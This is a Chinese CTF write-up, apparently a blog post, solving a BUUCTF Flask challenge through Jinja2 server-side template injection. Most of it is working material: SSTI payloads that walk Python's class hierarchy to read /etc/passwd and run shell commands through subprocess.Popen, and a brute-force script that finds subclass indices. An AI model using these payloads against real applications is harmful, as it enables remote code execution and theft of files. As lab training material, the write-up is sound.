打开链接,在注释里发现了参数名和请求方式
结合题目flask,检查是否存在SSTI模块注入:
?search={{7*7}}
(如果对这类题不了解的建议先看我另一篇博客http://t.csdn.cn/4d812)
通过回显发现被执行了,存在SSTI模块注入
尝试读取当前类:
?search={{''.__class__}}
读取该类的所有父类:
?search={{''.__class__.__mro__}}
我们需要利用的是object里面的其他子类,我们读取object的所有子类 :
?search={{''.__class__.__mro__[2].__subclasses__()}}
payload说明:这里的 mro[2] 相当于返回当前类的上两级,便到了object类,后面的subclasses便是读取object下面的所有子类,后面继续追加 [xx] 可以选择要使用的类(xx表示该类所在位置)
接下来使用脚本跑一下是否存在eval、popen危险函数以及import、linecache这些函数(这个函数中也有os模块)
以及检查是否存在一些类,比如:
_frozen_importlib_external.FileLoader 类:该类下有get_data函数可以实现读取文件
使用payload:
''.__class__.__base__.__subclasses__()[xx]["get_data"](0,"/etc/passwd")
importlib 类:importlib类中的load_module可以引用os
使用payload:
{{''.__class__.__base__.__subclasses__()[xx]['load_moudule']("os")["popen"]("ls").read()}}
subprocess.Popen 类
使用payload:
{{''.__class__.__base__.__subclasses__()[xx]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
注意:xx代表该类所在的位置,有时候base不行,比如这道题,我们可以换用mro ,即换成__mro__[2] ,前面有介绍。
下面是关于类和函数爆破的一个简单脚本,传参方式是get,查找函数是Popen
import html
import requests
url='http://ee61c720-de19-41aa-9a8c-9825346a4291.node4.buuoj.cn:81/'
def find_class_num():
for i in range(0,500):
#parm_value = "?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) +"]}}" //爆类
parm_value = "?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}" //爆函数
# data = {url+parm_value}
# print(data)
print(url+parm_value)
re = requests.get(url=url+parm_value).text
# print(re)
# print(htmltest)
if 'Popen' in re:
print(i)
return i
find_class_num()
函数这里我试了很多并没有发现什么,我感觉应该存在过滤
继续爆破类
(各位可以进行简单修改,即可用于爆破其他的)
比如我们爆subprocess.Popen类
import html
import requests
url='http://ee61c720-de19-41aa-9a8c-9825346a4291.node4.buuoj.cn:81/'
def find_class_num():
for i in range(0,500):
parm_value = "?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) +"]}}"
#parm_value = "?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}"
# data = {url+parm_value}
# print(data)
print(url+parm_value)
re = requests.get(url=url+parm_value).text
# print(re)
# print(htmltest)
if 'subprocess.Popen' in re:
print(i)
return i
find_class_num()
发现存在subprocess.Popen类,且位置在[258]
直接上相关的payload:
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls/',shell=True,stdout=-1).communicate()[0].strip()}}
展开flasklight 目录:
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls flasklight ',shell=True,stdout=-1).communicate()[0].strip()}}
第二个文件的名字很具有暗示性,我们使用cat命令打开它:
?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek ',shell=True,stdout=-1).communicate()[0].strip()}}
拿下 flag{8db9f6f9-1d7d-4964-96cc-a28618b174e6}